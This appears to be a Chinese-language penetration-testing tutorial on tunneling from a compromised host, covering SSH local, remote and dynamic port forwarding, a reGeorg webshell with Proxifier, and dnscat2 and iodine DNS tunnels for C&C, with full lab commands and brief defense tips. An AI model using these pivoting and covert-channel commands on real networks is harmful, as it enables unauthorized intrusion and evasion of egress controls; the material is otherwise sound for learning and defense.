前言
应用层中的隧道技术主要应用软件提供的端口来发送数据。常用的隧道技术协议有SSH,HTTP/HTTPS以及DNS
一个普通的SSH命令如下:
1 | ssh root@192.168.1.1 |
1 | 常见命令如下: |
SSH协议
本地转发
实验环境
1 | 攻击者VPS(192.168.1.76) |
以web服务器为跳板,将数据库服务器的3389端口,映射到VPS的1153端口,然后访问VPS的1153端口。
在VPS中执行如下命令
1 | ssh -CfNg -L 1153(VPS端口):172.168.1.18(目标主机):3389(目标端口) root@192.168.1.26(跳板机) |
执行以下命令查看本地1153端口是否连接
1 | netstat -tulnp | grep "1153" |
可以看到,在进行本地映射时,本地SSH进程会监听1153端口
执行如下命令,在本地系统中访问VPS的1153端口,可以看到本地的1153端口已与数据库服务器的3389端口建立联系了。
1 | rdesktop 127.0.0.1:1153 |
SSH进程的本地端口映射可以将本地的某个端口转发到远端指定机器的指定端口;
本地端口转发则是在本地监听一个端口,所有访问这个端口的数据都会通过SSH隧道传输到远端的对应端口
换言之:当本机(192.168.1.76)打算连接本机的1153端口时(rdesktop 127.0.0.1:1153),这时候请求会通过ssh协议发送至web服务器(192.168.1.26),然后在web服务器(172.168.1.16)这台机子上解封装,形成远程桌面连接的流量,发送至数据库服务器(172.168.1.18)。
可以看一下各机器的端口使用情况
VPS:
VPS上的随机端口与Web服务器的22号端口连接
Web服务器:
可以看到这里的web服务器的内网也是开了一个随机端口与数据库服务器的3389端口相连接
数据库服务器:
数据库服务器的3389端口是和web服务器的随机端口连接的
本地端口转发中将VPS作为客户机,跳板机(web服务器)作为服务器。
故而本地转发是将本地机(客户机)的某个端口转发到远端指定机器的指定端口,也就是将VPS中执行的rdesktop 127.0.0.1:1153
转发到目标主机的3389端口。
远程转发
因为在实际企业环境中,一般防火墙都是只允许出,不允许进的状态。
1 | 攻击者VPS(192.168.1.76) |
以web服务器为跳板,将VPS(192.168.1.76)的3307端口的流量转发到数据库服务器(172.168.1.18)的3389端口,然后访问VPS的3307端口,就可以访问数据库服务器的3389端口
在Web服务器上执行如下命令:
1 | ssh -CfNg -R 3307(VPS端口):172.168.1.18(目标主机):3389(目标端口) root@192.168.1.76 |
然后在VPS上执行如下命令:
1 | rdesktop 127.0.0.1:3307 |
可以看一下各机器的端口使用情况
VPS此时是作为SSH服务中的服务端,VPS中开启22号端口,由内网出来的流量将会通过防火墙的随机端口,发送至VPS的22号端口。向本地的3307端口发出远程桌面连接的流量将会通过22号端口以应答的形式发送给web服务器。
Web服务器是可以访问外网VPS的,所以此时web服务器的随机端口将会将会以客户机的形式去连接VPS(此时充当服务器)的22号端口。web服务器起到转发的功能,开启一个随机端口,将vps中执行的rdesktop 127.0.0.1:3307
的流量转发至目标主句的3389端口。
远程端口转发是在远程主机上监听一个端口,所有远程服务器指定的数据都会通过SSH隧道传输到本地指定主机的对应端口
在内网中的Web服务器。我们去监听VPS的3307端口,由3307端口发出的数据都会通过由Web服务器与VPS的ssh服务器建立的隧道转发到数据库服务器的3389端口。
参考文章:ssh 本地转发 和远程转发 区别
本地转发和远程转发的的区别
(1)本地转发是将本地机(客户机)的某个端口转发到远端指定机器的指定端口;远程转发是将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口
(2)应用场景不同:
1.本地转发:
1 | A能访问B,B能访问C |
2.远程转发
1 | 环境和目的 与 本地端口转发是一样的,这里只是不在本地服务器A上执行命令,而是在中间服务器B上执行; |
动态转发
测试环境和本地端口转发一致
区别在于本地和远程端口转发都限定了目标服务器以及目标服务器的端口。而动态端口转发,A把B作为自己的全权代理,不限定目标服务器及其端口。A和代理服务器B之间的所有连接都是基于加密的SSH
在VPS上执行如下命令建立动态的SOCKS 4/5代理通道,输入web服务器的密码
1 | ssh -CfNg -D 7000 root@192.168.1.26 |
接着在浏览器中设置
这个操作像不像科学上网…..
防御SSH隧道攻击的思路
在系统中配置SSH远程管理白名单,在ACL中限制只有特定的IP地址才能连接SSH,以及设置系统完全使用带外管理等方法,都可以避免这一问题。
HTTP/HTTPS协议
HTTP Server代理用于将所有的流量转发到内网。常见的代理工具有reGeorg,meterpreter,tunna等。
reGeorg的主要功能是把内网服务器端口的数据通过的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP协议的通信。reGeorg脚本的特征非常明显,很多杀毒软件都会对其进行查杀。
在公众号酒仙桥六号部队
:铁头娃的渗透测试中看到了使用reGeog+proxifier代理的手法。
reGeog+proxifier
这个手法的使用场景,就如文章中说的一样,防火墙DMZ区域映射外网端口80。
学习一下这个手法该如何使用
实验环境:
1 | win10(外网IP:192.168.1.9) |
下载reGeorg,github上就有,将适合目标服务器的脚本上传到服务器
执行如下命令
1 | python reGeorgSocksProxy.py -p 9999 -u http://192.168.1.26/tunnel.php |
执行该命令后,目标主机和本机的9999端口建立了http/https
隧道。
这时候我们实际上已经和内网连通,使用proxifier
代理经过9999端口的流量,那么我们使用proxifier
代理的指定软件,指定端口的流量就会通过这条http隧道发给目标主机
设置代理服务器和规则
在指定的软件,比如cmd.exe右键,以proxifier代理方式使用
在目标主机有打开ssh服务的情况下,可以连接ssh服务
DNS协议
DNS隧道原理
DNS协议是域名解析协议,在域名和IP地址之间进行转换,该协议也是一种请求/应答协议,也是一种可用于应用层的隧道技术。DNS,ICMP,HTTP/HTTPS等难以禁用的协议已成为攻击者控制隧道的主流隧道
用于管理僵尸网络和进行APT攻击的服务器叫做C&C服务器(Command and Control Server,命令及控制服务器)。C&C节点分为两种,分别是C&C服务端(攻击者)和C&C客户端(被控制的计算机)。C&C通信是指植入C&C客户端的木马或后门程序与C&C服务端上的远程控制程序之间的通信。
DNS隧道工作的原理:在进行DNS查询时。如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上返回的可以是任意字符串,包括加密的C&C指令。
因为DNS在网络世界里不可或缺,所以基于可用性的考虑等,很难做到完全过滤DNS的流量。因此,攻击者可以利用它实现远程控制,文件传输等操作。
dnscat2
dnscat2隧道有两种模式,分别是直连模式和中继模式
直连模式:客户端直接指向IP地址的DNS服务器发起DNS解析请求
中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢
一般情况下,我们使用dnscat2的中继模式要更加频繁,因为直连模式的隐蔽性要更差一些。
当网段只允许白名单流量出站,同时屏蔽其他端口,传统的C&C通信无法建立。在这样的情况下,可以使用DNS隐蔽隧道建立通信。
演示如何使用dnscat2的中继模式
1 | 需要一个vps(阿里云vps) 一个域名 |
确保其NS解析能够正常工作
vps作为服务端,安装dnscat2服务端
1 | apt-get install gem |
运行dnscat2服务端
1 | sudo ruby ./dnscat2.rb vps.****.top -e open -c cookie --no-cache |
注:-e
规定安全级别。”open” 表示服务端允许客户端不进行加密,-no-cache
禁止缓存,-c
自定义的连接密码
在目标主机上安装客户端。
本次测试使用的是windows7,直接在官方网可以下到编译好的客户端。
测试客户端是否能与服务端通信
1 | dnscat2-v0.07-client-win32.exe --ping vps.****.top |
执行如下命令,连接服务端
1 | dnscat2-v0.07-client-win32.exe --dns domain=vps.****.top --secret cookie |
iodine
iodine
可以通过一台DNS服务器制造一个IPV4
数据通道,适合在目标主机只能发送DNS请求的网络中使用。其原理:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务端之间建立联系后,客户机上会多出一块名为’dns0’的网卡。
linux上直接apt-get install iodine
完成安装
设置域名
安装后使用如下命令,服务端运行idine
1 | iodined -f -c -P cookie 10.1.1.1 vps.c0okb.top --DD |
安装客户端,下载地址:https://code.kryo.se/iodine/,运行如下命令
1 | iodine -fP cookie vps.****.top |
隧道建立成功,该DNS隧道的使用方法,如果访问目标主机ssh服务,直接ssh roor@10.1.1.1
,如果想访问远程桌面服务,在服务端执行mstsc 10.1.1.1:3389
.
防御DNS隧道攻击
(1)只允许与受信任的DNS服务器通信
(2)将邮件服务器网关列入白名单并阻止传入和传出流量中的TXT请求
(3)跟踪用户的DNS查询次数,如果达到阈值,就生成相应报告
(4)阻止ICMP